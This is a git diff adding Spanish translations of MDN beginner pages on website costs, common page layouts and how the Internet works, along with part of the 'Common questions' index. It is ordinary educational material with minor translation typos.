+<p>Asegúrese de contar con suficiente {{Glossary("Ancho de banda", "ancho de banda")}}:</p>
+
+<ul>
+ <li>El acceso de ancho de banda bajo puede ser adecuado para soportar un sitio web simple: imágenes reducidas, textos, algunos archivos CSS y JavaScript. Esto probablemente te cueste unas pocas docenas de dólares, incluyendo la renta del módem.</li>
+ <li>De otra manera, necesitarás un ancho de banda superior, tal como acceso por DSL, cable, o fibra, si desea un sitio web más avanzado con cientos de archivos o quiere entregar archivos pesados de vídeo/audio directamente desde tu servidor. Te pudiera costar lo mismo que el acceso de ancho de banda bajo, hasta varios cientos de dólares mensuales para necesidades más profesionales. </li>
+</ul>
+
+<h2 id="Alojamiento">Alojamiento</h2>
+
+<h3 id="Entendiendo_el_ancho_de_banda">Entendiendo el ancho de banda</h3>
+
+<p>Los proveedores de alojamiento te cobran de acuerdo a cuánto {{Glossary("Ancho de banda", "ancho de banda")}} consume tu sitio web. . Esto depende de cuántas personaas, y robots de rastreo Web, accedan a tu contenido durante un tiempo dado, y cuánto espacio en el servidor tu contenido ocupa. Esta es la razón por la cual las personas usualmente almacenan sus videos en servicios dedicadostales como Youtube, Dailymotion, y Vimeo. Por ejemplo, tu proveedor puede tener un plan que incluye hasta varios miles de visitantes por díam por un uso “razonable”. Sea cuidadoso, puesto que puede variar mucho de un servidor de alojamiento a otro. Como regla de oro, reconozca que el servicio de alojamiento confiable, pagado y personal puede costar alrededor de 10 a 15 dólares al mes. </p>
+
+<div class="note">
+<p>Note que que no existe el ancho de banda “ilimitado”. Si consumes una enorme cantidad de ancho de banda, espere pagar una enorme cantidad de dinero.</p>
+</div>
+
+<h3 id="Nombre_de_dominio">Nombre de dominio</h3>
+
+<p>Su nombre de dominio tiene que ser comprado a través de un proveedor de nombres (un registrador). Tu proveedor de alojamiento puede además ser un registrador (por ejemplo <a href="https://www.1and1.com/">1&amp;1</a> y <a href="https://www.gandi.net/?lang=en">Gandi</a>  son al mismo tiempo registradores y proveedores de alojamiento). El nombre de dominio usualmente cuesta $5-15 por año. Este costo varía en dependencia de:</p>
+
+<ul>
+ <li>Obligaciones locales: algunos nombres de dominio de primer nivel pertenecientes a países son más costosos, ya que diferentes países establecen precios diferentes.</li>
+ <li>Servicios asociados con un nombre de dominio: algunos registradores proveen protección contra spam ocultando tu dirección postal y corre electrónico detrás de sus propias direcciones: la dirección postal puede ser proveída a cargo del registrador y tu dirección de correo puede ser ocultada detrás del alias de tu registrador. </li>
+</ul>
+
+<h3 id="Alojamiento_de_aficionados_vs._Alojamiento_“empaquetado”">Alojamiento de aficionados vs. Alojamiento “empaquetado”</h3>
+
+<p>Cuando deseas publicar un sitio web, puedes hacer todo por ti mismo: preparar una base de datos (si es necesaria), Sistema de Gestión de Contenidos, or {{Glossary("CMS")}} (como <a href="http://wordpress.org/">Wordpress</a>, <a href="http://dotclear.org/">Dotclear</a>, <a href="http://www.spip.net/en_rubrique25.html">spip</a>, etc.), subir tus propias plantillas o contenido preeditado.</p>
+
+<p>Pudieras utilizar el entorno de tu proveedor de alojamiento, por aproximadamente de 10 a 15 dólares al mes, o suscribirse directamente a un servicio de alojamiento con CMS pre-empaquetado (por ejemplo, <a href="http://wordpress.com/">Wordpress</a>, <a href="https://www.tumblr.com/">Tumblr</a>, <a href="https://www.blogger.com/">Blogger</a>). Para esta última no tienes que pagar nada, pero puedes tener menos control sobre las plantillas y otras opciones. </p>
+
+<h3 id="Alojamiento_gratuito_vs._alojamiento_pagado">Alojamiento gratuito vs. alojamiento pagado</h3>
+
+<p>Te pudieras preguntar, ¿por qué pago por mi alojamiento cuando existen tantos servicios gratuitos?</p>
+
+<ul>
+ <li>Tienes más libertad cuando pagas. Tu sitio web es tuyo, y puedes trasladarlo a la perfección de un proveedor de alojamiento a otro.</li>
+ <li>Los proveedores de alojamiento gratuito puede añadir anuncios Free hosting providers may add advertising to your content, beyond your control.</li>
+</ul>
+
+<p>Es mejor pagar el alojamiento que depender de alojamiento gratuito, ya que en la mayoría de los sitios pagados es posible trasladar tus archivos fácilmente y el tiempo de actividad está garantizado. La mayoría de los proveedores de alojamiento te dan un gran descuento para comenzar. </p>
+
+<p>Algunas personan optan por un enfoque mixto. Por ejemplo, su blog principal en un sitio pagado con un nombre de dominio completo, y a su vez contenido espóntaneo, menos estratégico en un servicio de alojamiento gratuito.</p>
+
+<h2 id="Agencias_y_alojamiento_de_sitios_web_profesionales">Agencias y alojamiento de sitios web profesionales</h2>
+
+<p>Si desea un sitio web profesional, probablemente le pedirás a una agencia web que lo haga por ti.<br>
+ <br>
+ Aquí, los costos dependen de múltiples factores, tales como: </p>
+
+<ul>
+ <li>¿Es este un sitio web sencillo con unas pocas páginas de texto? ¿O un sitio web más complejo con miles de extensas páginas?</li>
+ <li>¿Quieres actualizarlo de manera regular? ¿O será un sitio web estático?</li>
+ <li>¿Tu sitio web debe conectarse a tu compañía para obtener el contenido (es decir, datos internos)?</li>
+ <li>¿Quieres algunas características fanstásticas de las más usadas del momento? En el momento que se escribió este artículo, los clientes buscan sitios de página única con complicados paralajes (React).</li>
+ <li>¿Necesitarás que la agencia cree historias de usuarios o resuelva complejos problemas {{Glossary("UX")}}? Por ejemplo, crear una estrategia que atraiga usuarios, o pruebas A/B para seleccionar una solución entre diferentes ideas. </li>
+</ul>
+
+<p>...y para alojamiento:</p>
+
+<ul>
+ <li>¿Quieres servidores adicionales, en caso de que tu servidor se caiga?</li>
+ <li>¿Es 95% porciento adecuada la fiabilidad, o necesitas servicio profesional las 24 horas?</li>
+ <li>¿Quiere un gran perfil, servidores dedicados ultra-responsivos, o puede trabajar con una máquina más lenta compartida?</li>
+</ul>
+
+<p>En dependencia de cómo responda estas preguntas, su sitio pudiera costar miles hasta cientos de miles de dólares.</p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<p>Ahora que entiende que cantidad de dinero su sitio puede costarle, es tiempo de comenzar a diseñar un sitio web y <a href="/en-US/docs/Learn/Set_up_a_basic_working_environment">preparar su entorno de trabajo</a>.</p>
+
+<ul>
+ <li>Lea sobre <a href="/en-US/docs/Learn/Choose,_Install_and_set_up_a_text_editor">cómo seleccionar e instalar un editor de texto</a>.</li>
+ <li>SI está más enfocado en diseño, eche una mirada a la <a href="/en-US/Learn/Anatomy_of_a_web_page">anatomía de una página web</a>.</li>
+</ul>
diff --git a/files/es/learn/common_questions/diseños_web_comunes/index.html b/files/es/learn/common_questions/diseños_web_comunes/index.html
new file mode 100644
index 0000000000..7e05cbcaad
--- /dev/null
+++ b/files/es/learn/common_questions/diseños_web_comunes/index.html
@@ -0,0 +1,115 @@
+---
+title: ¿Qué contienen los diseños web comunes?
+slug: Learn/Common_questions/diseños_web_comunes
+tags:
+  - CSS
+  - Común
+  - Diseño
+  - Diseño Común
+  - HTML
+  - Principiante
+translation_of: Learn/Common_questions/Common_web_layouts
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<div class="summary">
+<p>Cuando diseña páginas para su sitio web es bueno tener una idea de los diseños más comunes.</p>
+</div>
+
+<table class="learn-box nostripe standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Asegúrese que usted ya ha pensado sobre <a href="/es/docs/Learn/Common_questions/Thinking_before_coding">lo que quiere lograr</a> con su proyecto web.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender dónde colocar las cosas en sus páginas web, y cómo hacerlo. </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Existe una razón para que hablemos sobre diseño web. Se comienza con una página en blanco, y se pueden tomar muchas direcciones. Si no tienes mucha experiencia, comenzar con una página en blanco pudiera ser un poco temible. Nosotros tenemos alrededor de 25 años de experiencia y te daremos algunas reglas básicas para ayudarte a diseñar tu sitio. </p>
+
+<p>Aún ahora con el nuevo enfoque de la web para móviles, la mayoría de las páginas web principales son construídas a partir de las siguientes partes:</p>
+
+<dl>
+ <dt>Encabezado</dt>
+ <dd>Visible en la parte superior de cada página de un sitio. Contiene información relevante para todas las páginas (como el nombre del sitio o el logo) y un sistema de navegación fácil de usar.</dd>
+ <dt>Contenido principal</dt>
+ <dd>Es el área más grande, contiene contenido único para la página actual.</dd>
+ <dt>Contenido secundario</dt>
+ <dd>1) Información complementaria del contenido principal; 2) información compartida entre un subconjunto de páginas; 3) sistema de navegación alternativo. De hecho, todo lo que no es absolutamente requerido por el contenido de la página principal. </dd>
+ <dt>Pie de página</dt>
+ <dd>Visible en la parte inferior de cada página de un sitio. Análogamente al encabezado contiene información global, en este caso menos llamativa como avisos legales o información de contacto.</dd>
+</dl>
+
+<p>Estos elementos son bastante comunes en todos los factores de forma, pero pueden ser dispuestos de diferentes maneras. Aquí se presentan algunos ejemplos (<strong>1 </strong>representa encabezado, <strong>2 </strong>pie de página; <strong>A </strong>contenido principal; <strong>B1, B2 </strong>barras laterales):</p>
+
+<p><strong>Diseño de una columna.</strong> Especialmente importante para navegadores de móviles de modo que no se llene la pequeña pantalla.</p>
+
+<p><img alt="Example of a 1 column layout: Main on top and asides stacked beneath it." src="https://mdn.mozillademos.org/files/9501/1-col-layout.png" style="height: 100px; width: 160px;"></p>
+
+<p><strong>Diseño de dos columnas.</strong> A menudo utilizado para tabletas, ya que tienen pantallas de tamaño medio.</p>
+
+<p> <img alt="Example of a basic 2 column layout: One aside on the left column, and main on the right column." src="https://mdn.mozillademos.org/files/9499/2-col-layout-right.png" style="height: 100px; width: 160px;"> <img alt="Example of a basic 2 column layout: One aside on the right column, and main on the left column." src="https://mdn.mozillademos.org/files/9497/2-col-layout-left.png" style="height: 100px; width: 160px;"></p>
+
+<p><strong>Diseños de tres columnas</strong>. Solamene adecuado para escritorios con pantallas grandes. (Incluso muchos usuarios de escritorio prefieren ver cosas en pequeñas ventanas que en pantalla completa.)</p>
+
+<p><img alt="Example of a basic 3 column layout: Aside on the left and right column, Main on the middle column." src="https://mdn.mozillademos.org/files/9491/3-col-layout.png" style="height: 100px; width: 160px;"> <img alt="Another example of a 3 column layout: Aside side by side on the left, Main on the right column." src="https://mdn.mozillademos.org/files/9493/3-col-layout-alt.png" style="height: 100px; width: 160px;"> <img alt="Another example of a 3 column layout: Aside side by side on the right, Main on the left column." src="https://mdn.mozillademos.org/files/9495/3-col-layout-alt2.png" style="height: 100px; width: 160px;"></p>
+
+<p>La verdadera diversión comienza cuando empiezas a mezclarlos todos juntos.</p>
+
+<p><img alt="Example of mixed layout: Main on top and asides beneath it side by side." src="https://mdn.mozillademos.org/files/9503/1-col-layout-alt.png" style="height: 100px; width: 160px;"> <img alt="Example of a mixed layout: Main on the left column and asides stack on top of each other on the right column" src="https://mdn.mozillademos.org/files/9505/2-col-layout-left-alt.png" style="height: 100px; width: 160px;"> <img alt="Example of a mixed layout: one aside on the left column and main in the right column with a aside beneath main." src="https://mdn.mozillademos.org/files/9507/2-col-layout-mix.png" style="height: 100px; width: 160px;"> <img alt="Example of a mixed layout: Main on the left of the first row and one aside on the right of that same row, a second aside convering the whole second row." src="https://mdn.mozillademos.org/files/9509/2-col-layout-mix-alt.png" style="height: 100px; width: 160px;">…</p>
+
+<p>Estos son solo ejemplos y eres bastante libre de diseñar las cosas como quieras. Puedes notar que mientras el contenido se puede mover alrededor de la pantalla, siempre se mantiene el encabezado (1) en la parte superior y el pie de página (2) en la parte inferior. Además, el contenido principal (A) es lo más importante, así que dale la mayor parte del espacio. </p>
+
+<p>Estas son reglas del juego que puedes aprovechar. Desde luego, existen diseños complejos y excepciones. En otros artículos discutiremos cómo diseñar sitios responsivos (sitios que cambian en dependencia del tamaño de la pantalla) y sitios cuyos diseños varían entre las páginas. Por ahora, es mejor mantener tu diseño consistente en todo tu sitio. </p>
+
+<h2 id="Aprendizaje_activo">Aprendizaje activo</h2>
+
+<p><em>Aún no hay aprendizaje activo disponible. <a href="/en-US/docs/MDN/Getting_started">Por favor, considere contribuir</a>.</em></p>
+
+<h2 id="Profundización">Profundización</h2>
+
+<p>Estudiemos algunos ejemplos más concretos tomados de sitios web bien conocidos. </p>
+
+<h3 id="Diseño_de_una_columna">Diseño de una columna</h3>
+
+<p><strong><a href="http://www.invisionapp.com/" rel="external">Aplicación de Invision</a></strong>. Un diseño típico de una columna proporcionando toda la información linealmente en una sola página. </p>
+
+<p><img alt="Example of a 1 column layout in the wild" src="https://mdn.mozillademos.org/files/9523/screenshot-product.jpg" style="height: 643px; width: 200px;">        <img alt="1 column layout with header, main content, a stack of aside contents and a footer" src="https://mdn.mozillademos.org/files/9525/screenshot-product-overlay.jpg" style="height: 643px; width: 200px;"></p>
+
+<p>Bastante sencillo. Sólo recuerda que muchas personas navegarán por tu sitio desde escritorios, así que haz tu contenido también utilizable allí.</p>
+
+<h3 id="Diseño_de_dos_columnas.">Diseño de dos columnas.</h3>
+
+<p><strong><a href="http://abduzeedo.com/typography-mania-261" rel="external">Abduzeedo</a></strong>, un simple diseño de blog. Los blogs usualmente tienen dos columnas, una para el contenido principal que es más ancha y otra más estrecha para el contenido secundario (como widgets, niveles de navegación secundarios y anuncios). </p>
+
+<p><img alt="Example of a 2 column layout for a blog" src="https://mdn.mozillademos.org/files/9527/screenshot-blog.jpg" style="height: 643px; width: 200px;">        <img alt="A 2 column layout with the main content on the left column" src="https://mdn.mozillademos.org/files/9529/screenshot-blog-overlay.jpg" style="height: 643px; width: 200px;"></p>
+
+<p>En este ejemplo, mira la imagen (B1) justo debajo del encabezado. Está relacionada con el contenido principal, pero el contenido principal tiene sentido sin esta, de este modo pudieras pensar que la imagen forma parte del contenido principal o del lateral. En realidad no importa. Lo que importa es que si pones algo justo debajo del encabezado, debería ser parte del contenido principal o estar directamente relacionado con este. </p>
+
+<h3 id="Es_una_trampa">Es una trampa</h3>
+
+<p><strong><a href="http://www.mica.edu/About_MICA.html" rel="external">MICA</a></strong>. Este es un poco más complicado. Parece un diseño de tres columnas...</p>
+
+<p><img alt="Example of a false 3 columns layout" src="https://mdn.mozillademos.org/files/9531/screenshot-education.jpg" style="height: 267px; width: 200px;">        <img alt="It looks like a 3 columns layout but actually, the aside content is floating around." src="https://mdn.mozillademos.org/files/9533/screenshot-education-overlay.jpg" style="height: 267px; width: 200px;"></p>
+
+<p>...pero no lo es. B1 y B2 flotan alrededor del contenido principal. Recuerda esa palabra "float"--te acordarás cuando empieces a aprender sobre {{Glossary("CSS")}}.</p>
+
+<p>¿Por qué pensarías que es un diseño de tres columnas? Porque la imagen en la parte superior derecha está en forma de L, porque B1 parece una columna sosteniendo el conenido principal desplazado, y porque la "M" y la  "I" del logo MICA crean una línea de fuerza vertical.</p>
+
+<p>Este es un buen ejemplo de diseño clásico que admite cierta creatividad. Los diseños simples son más fáciles de implementar, pero deje espacio expresar su creatividad en el área.</p>
+
+<h3 id="Un_diseño_mucho_más_complicado">Un diseño mucho más complicado</h3>
+
+<p><strong>La <a href="https://www.operadeparis.fr/en/saison-2014-2015/opera/la-boheme-puccini" rel="external">Opera de Paris</a>.</strong></p>
+
+<p><img alt="An example of a tricky layout." src="https://mdn.mozillademos.org/files/9535/screenshot-opera.jpg" style="height: 424px; width: 200px;">        <img alt="This is a 2 column layout but the header is overlaping the main content." src="https://mdn.mozillademos.org/files/9537/screenshot-opera-overlay.jpg" style="height: 424px; width: 200px;"></p>
+
+<p>Básicamente un diseño de dos columnas, pero notarás muchos ajustes por aquí y por allá que rompen visualmente el diseño. Especialmente, el encabezado se superposiciona a la imagen del contenido principal. La manera en que la curva del menú del encabezado se une con la curva en el fondo de la imagen, hacen que el encabezado y el contenido principal parezcan un solo componente a pesar de que son técnicamente completamente distintos. </p>
+
+<p>Como ves, puedes crear maravillosos sitios web incluso sólo con diseños básicos. Échale una mirada a tus propios sitos web favoritos y pregúntate a ti mismo, ¿dónde está el encabezado, el pie de página, el contenido principal y el contenido secundario? Esto te inspirará para tu propio diseño y te dará buenas pistas sobre para cuáles diseños funciona y para cuáles no. </p>
diff --git a/files/es/learn/common_questions/how_does_the_internet_work/index.html b/files/es/learn/common_questions/how_does_the_internet_work/index.html
new file mode 100644
index 0000000000..238ea2e5ae
--- /dev/null
+++ b/files/es/learn/common_questions/how_does_the_internet_work/index.html
@@ -0,0 +1,99 @@
+---
+title: ¿Cómo funciona Internet?
+slug: Learn/Common_questions/How_does_the_Internet_work
+tags:
+  - Internet
+  - Principiante
+  - Tutorial
+  - Web
+translation_of: Learn/Common_questions/How_does_the_Internet_work
+---
+<div class="summary">
+<p>En este artículo se describe lo que es Internet y cómo funciona.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Ninguno, pero te animamos a leer el <a href="/en-US/docs/Learn/Thinking_before_coding">Artículo sobre el establecimiento de metas</a> primero.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprenderás lo básico de infraestructura técnica de la web y la diferencia entre Internet y Web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><strong>Internet</strong> es la columna vertebral de la Web, la infraestructura técnica que la hace posible. En lo más básico, Internet es una gran red de computadoras que se comunican simultáneamente.</p>
+
+<p><a href="http://en.wikipedia.org/wiki/Internet#History" rel="external">La historia de internet es algo oscura</a>. Comenzó en la década de 1960 como un proyecto de investigación financiado por el ejercito de los EE.UU, y luego se convirtió en una infraestructura pública en la década de 1980 con el apoyo de muchas universidades públicas y empresas privadas. Las distintas tecnologías que soporta internet han evolucionado con el tiempo, pero la forma en que funciona no ha cambiado mucho: Internet es una forma de conectar las computadoras entre sí y asegurar que, pase lo que pase, encuentren una manera de mantenerse conectadas.</p>
+
+<h2 id="Aprendizaje_activo">Aprendizaje activo</h2>
+
+<ul>
+ <li><a href="https://www.youtube.com/watch?v=7_LPdttKXPc" rel="external">Cómo funciona internet explicado en 5 minutos</a>: Un vídeo de 5 minutos para entender los fundamentos de internet por Aaron Titus.</li>
+ <li><a href="https://www.youtube.com/watch?v=x3c1ih2NJEg">¿Cómo funciona Internet? </a>Video detallado de 8 minutos de visualización.</li>
+</ul>
+
+<h2 id="Profundizar">Profundizar</h2>
+
+<h3 id="Una_simple_red">Una simple red</h3>
+
+<p>Cuando dos ordenadores necesitan comunicarse, tienes que vincularlos, ya sea físicamente (por lo general con un <a href="http://en.wikipedia.org/wiki/Ethernet_crossover_cable" rel="external">cable de Ethernet</a>) o de forma inalámbrica (por ejemplo por <a href="http://en.wikipedia.org/wiki/WiFi" rel="external">WiFi</a> o sistema de <a href="http://en.wikipedia.org/wiki/Bluetooth" rel="external">Bluetooth</a>). Todos los ordenadores modernos pueden soportar cualquiera de este tipo de conexiones.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> En el resto de este artículo, sólo nos referiremos al uso de cables físicos, pero es igualmente aplicable a las redes inalámbricas.</p>
+</div>
+
+<p><img alt="Dos computadoras conectadas entre sí" src="https://mdn.mozillademos.org/files/8441/internet-schema-1.png" style="height: 152px; width: 600px;"></p>
+
+<p>La red no se limita a dos ordenadores, se pueden conectar tantos como se deseen aunque siendo más complicado cada vez. Por ejemplo, para conectar diez ordenadores, se necesitarían 45 cables y unos nueve conectores por ordenador!</p>
+
+<p><img alt="Diez ordenadores interconectados" src="https://mdn.mozillademos.org/files/8443/internet-schema-2.png"></p>
+
+<p>Para resolver este problema, cada ordenador en una red está conectado a una pequeña computadora especial llamada enrutador o router (en inglés). Este enrutador cumple una función: tal como hace un señalizador en una estación de tren, el router se encarga de asegurar que el mensaje enviado desde un ordenador emisor llegue al destino correcto. Para que el ordenador B reciba un mensaje desde el ordenador A, este debe enviarlo primero al router, quien a su vez lo remite al ordenador B asegurándose que dicho mensaje no sea entregado a otro ordenador C.</p>
+
+<p>Una vez que agregamos un enrutador al sistema, nuestra red de 10 ordenadores solo requiere 10 cables: un enchufe para cada ordenador y un enrutador con 10 enchufes.</p>
+
+<p><img alt="Diez ordenadores con un router" src="https://mdn.mozillademos.org/files/8445/internet-schema-3.png" style="height: 576px; width: 600px;"></p>
+
+<h3 id="Una_red_de_redes">Una red de redes</h3>
+
+<p>Hasta aquí todo es más o menos simple, pero ¿qué sucede al conectar cientos, miles, millones de ordenadores entre sí?. Por supuesto un solo <em>enrutador</em> no puede escalar tanto, pero, si lees cuidadosamente, dijimos que un <em>enrutador</em> es como un pequeño ordenador, entonces ¿qué nos impide conectar dos <em>enrutadores </em>a la vez?. Nada: hagámoslo.</p>
+
+<p><img alt="Dos routers conectados entre sí" src="https://mdn.mozillademos.org/files/8447/internet-schema-4.png"></p>
+
+<p>Conectando ordenadores a enrutadores y luego enrutadores entre sí, podemos escalar infinitamente.</p>
+
+<p><img alt="Routers interconectados" src="https://mdn.mozillademos.org/files/8449/internet-schema-5.png" style="height: 563px; width: 600px;"></p>
+
+<p>Una red así se acerca mucho a lo que llamamos Internet, pero hay algo que nos falta. Construimos esa red para nuestros propios propósitos. Hay otras redes ahí fuera: tus amigos, tus vecinos, cualquiera puede tener su propia red de ordenadores. Pero no es posible instalar cables entre tu casa y el resto del mundo, así que ¿cómo puedes manejar esto? Bueno, ya hay cables conectados a tu casa, por ejemplo, la energía eléctrica y el teléfono. La infraestructura telefónica ya conecta tu casa con cualquier persona en el mundo, así que es el cable perfecto que necesitamos. Para conectar nuestra red a la infraestructura telefónica, necesitamos un equipo especial llamado <em>modem</em>. Este <em>modem</em> convierte la información de nuestra red en información manejable por la infraestructura telefónica y viceversa.</p>
+
+<p><img alt="Un router conectado a un modem" src="https://mdn.mozillademos.org/files/8451/internet-schema-6.png" style="height: 340px; width: 600px;"></p>
+
+<p>Entonces estamos conectados a la infraestructura telefónica. El siguiente paso es enviar el mensaje desde nuestra red a la red que queremos llegar. Para lograr eso, conectaremos nuestra red a un proveedor de servicios de internet (ISP de sus siglas en inglés Internet Service Provider). Un ISP es una empresa que gestiona algunos enrutadores especiales interconectados, que también pueden acceder a enrutadores de otros ISP. Así, el mensaje de nuestra red es llevada a través de la red de redes de ISP, hasta la red de destino. Internet consiste en toda esta infraestructura de redes.</p>
+
+<p><img alt="stack de Internet al completo" src="https://mdn.mozillademos.org/files/8453/internet-schema-7.png" style="height: 1293px; width: 340px;"></p>
+
+<h3 id="Encontrando_ordenadores">Encontrando ordenadores</h3>
+
+<p>Si deseas enviar un mensaje a una computadora, debes especificar a cuál. Es por ello que todo ordenador conectado a una red cuenta con una dirección única que lo identifica, llamada “dirección IP” o Protocolo de Internet(IP de sus siglas en inglés <em>Internet Protocol</em>). Esta dirección está compuesta por una serie de cuatro números separados por puntos, por ejemplo: <code>192.168.2.10</code>.</p>
+
+<p>Para los ordenadores es un identificador simple, pero los humanos tienen mayor dificultad a la hora de recordar y memorizar este tipo de dirección. Con el propósito de convertir esta serie numérica en algo que podamos asociar con mayor facilidad a la dirección IP se utiliza lo que conocemos como <em>nombre de dominio</em>. Por ejemplo, <code>google.com </code>es el nombre de dominio utilizado para sustituir la dirección IP <code>173.194.121.32</code>. Así, usar un nombre de dominio es la manera más fácil para nosotros de identificar un ordenador a través de Internet.</p>
+
+<p><img alt="Mostrar cómo un nombre de dominio sirve como alias a una dirección IP" src="https://mdn.mozillademos.org/files/8405/dns-ip.png" style="height: 160px; width: 330px;"></p>
+
+<h3 id="Internet_y_la_web">Internet y la web</h3>
+
+<p>Como puedes notar, cuando navegamos por la web con un navegador, normalmente utilizamos el nombre de dominio para llegar a un sitio web. ¿Significa eso que Internet y la Web son la misma cosa? No es tan simple. Como vimos, Internet es una infraestructura técnica que permite que miles de millones de ordenadores estén conectadas entre sí. Algunos de estos ordenadores, llamados <em>servidores web</em> son capaces de enviar mensajes inteligibles a los navegadores. Por tanto <em>Internet </em>es una infraestructura, mientras que la <em>Web</em> es un servicio construido sobre dicha infraestructura. Cabe señalar que existen otros servicios soportados por Internet, como es el correo electrónico e {{Glossary("IRC")}}.</p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<ul>
+ <li><a href="/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">Cómo funciona la Web.</a></li>
+ <li><a href="/en-US/docs/Learn/page_vs_site_vs_server_vs_search_engine">Comprender la diferencia entre una página web, un sitio web, un servidor web y un motor de búsqueda.</a></li>
+ <li><a href="/en-US/docs/Learn/Understanding_domain_names">La comprensión de los nombres de dominio.</a></li>
+</ul>
diff --git a/files/es/learn/common_questions/index.html b/files/es/learn/common_questions/index.html
new file mode 100644
index 0000000000..4dcdd63447
--- /dev/null
+++ b/files/es/learn/common_questions/index.html
@@ -0,0 +1,145 @@
+---
+title: Preguntas frecuentes
+slug: Learn/Common_questions
+tags:
+  - CodingScripting
+  - Infrastructure
+  - Learn
+  - NeedsTranslation
+  - TopicStub
+  - Web
+  - WebMechanics
+translation_of: Learn/Common_questions
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Esta sección del área de aprendizaje está diseñada para proveer respuestas a preguntas frecuentes que pueden surgir, las cuales no son necesariamente parte del núcleo  estructurado de formas de aprendizaje (ej. los artículos de aprendizaje de <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML">HTML</a> o <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS">CSS</a>). Éstos artículos están diseñados para trabajar por su cuenta.</p>
+
+<h2 id="Cómo_funciona_la_Web">Cómo funciona la Web</h2>
+
+<p>Esta sección cubre los mecanismos de la web -preguntas relativas al conocimiento general del ecosistema de la Web y cómo funciona.</p>
+
+<dl>
+ <dt>
+ <h3 id="¿Cómo_funciona_la_Web"><a href="/en-US/docs/Learn/Common_questions/How_does_the_Internet_work">¿Cómo funciona la Web?</a></h3>
+ </dt>
+ <dd><strong>Internet </strong>es la columna vertebral de la Web, la infraestructura técnica que hace la Web posible. Básicamente, Internet es una gran red de ordenadores que se comunican todos entre sí. Este artículo explica cómo funciona, en un nivel básico.</dd>
+ <dt>
+ <h3 id="¿Cúal_es_la_diferencia_entre_página_web_sitio_web_servidor_web_y_motor_de_búsqueda"><a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">¿Cúal es la diferencia entre página web, sitio web, servidor web y motor de búsqueda?</a></h3>
+ </dt>
+ <dd>En este artículo se describen varios conceptos relacionados con la web: páginas web, sitios web, servidores web y motores de búsqueda. Estos términos son confundidos habitualmente por los novatos en la Web, o son incorrectamente usados. ¡ Vamos a aprender que significa cada uno de ellos !</dd>
+ <dt>
+ <h3 id="¿Qué_es_una_URL"><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">¿Qué es una URL?</a></h3>
+ </dt>
+ <dd>Con {{Glossary("Hypertext")}} y {{Glossary("HTTP")}}, URL es uno de los conceptos clave de la Web. Es el mecanismo usado por {{Glossary("Browser","browsers")}} para recoger cualquier recurso publicado en la Web.</dd>
+ <dt>
+ <h3 id="¿Qué_es_un_nombre_de_dominio"><a href="/en-US/docs/Learn/Common_questions/What_is_a_domain_name">¿Qué es un nombre de dominio?</a></h3>
+ </dt>
+ <dd>Los nombres de dominio son una parte clave de la infraestructura de Internet. Éstos proveen direcciones entendibles por humanos para cualquier servidor web disponible en Internet.</dd>
+ <dt>
+ <h3 id="¿Qué_es_un_servidor_web"><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">¿Qué es un servidor web?</a></h3>
+ </dt>
+ <dd>El término "servidor Web" puede referirse a hardware o software que sirve sitios web a clientes de la Web - o a ambos trabajando conjuntamente. En este artículo veremos cómo funcionan los servidores web, y por qué son importantes.</dd>
+ <dt>
+ <h3 id="¿Qué_son_los_hipervínculos"><a href="/en-US/docs/Learn/Common_questions/What_are_hyperlinks">¿Qué son los hipervínculos?</a></h3>
+ </dt>
+ <dd>En este artículo, veremos qué son los hipervínculos y por qué importan.</dd>
+</dl>
+
+<h2 id="Herramientas_y_Organización"><strong>Herramientas y Organización</strong></h2>
+
+<p>Preguntas relacionadas con las herramientas/software que puedes usar para hacer páginas web.</p>
+
+<dl>
+ <dt>
+ <h3 id="¿Cúanto_cuesta_hacer_algo_en_la_web"><a href="/en-US/docs/Learn/Common_questions/How_much_does_it_cost">¿Cúanto cuesta hacer algo en la web?</a></h3>
+ </dt>
+ <dd>Cuando tú vas a lanzar un sitio web, no deberías malgastar nada de tus costes. En este artículo explicamos cuánto cuesta todo y qué consigues por lo que estás pagando (o no pagando).</dd>
+ <dt>
+ <h3 id="¿Qué_programas_necesito_para_crear_un_sitio_web"><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">¿Qué programas necesito para crear un sitio web?</a></h3>
+ </dt>
+ <dd>En este artículo explicamos qué componentes software necesitas para editar, subir o ver un sitio web.</dd>
+ <dt>
+ <h3 id="¿Qué_editores_hay_disponibles"><a href="/en-US/docs/Learn/Common_questions/Available_text_editors">¿Qué editores hay disponibles?</a></h3>
+ </dt>
+ <dd>En este artículo nos centramos en algunas cosas para reflexionar cuando elegimos e instalamos un editor de texto para el desarrollo web.</dd>
+</dl>
+
+<dl>
+ <dt>
+ <h3 id="¿Qué_son_las_herramientas_de_desarrollador_del_navegador"><a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">¿Qué son las herramientas de desarrollador del navegador?</a></h3>
+ </dt>
+ <dd>Todos los navegadores proveen un set de herramientas de desarrollo para depurar HTML, CSS y otros códigos web. Este artículo explica cómo usar las funciones básicas de herramientas de desarrollador de tu navegador.</dd>
+</dl>
+
+<dl>
+ <dt>
+ <h3 id="¿Cómo_configuro_un_ambiente_de_trabajo_básico"><a href="/en-US/docs/Learn/Common_questions/Set_up_a_basic_working_environment">¿Cómo configuro un ambiente de trabajo básico?</a></h3>
+ </dt>
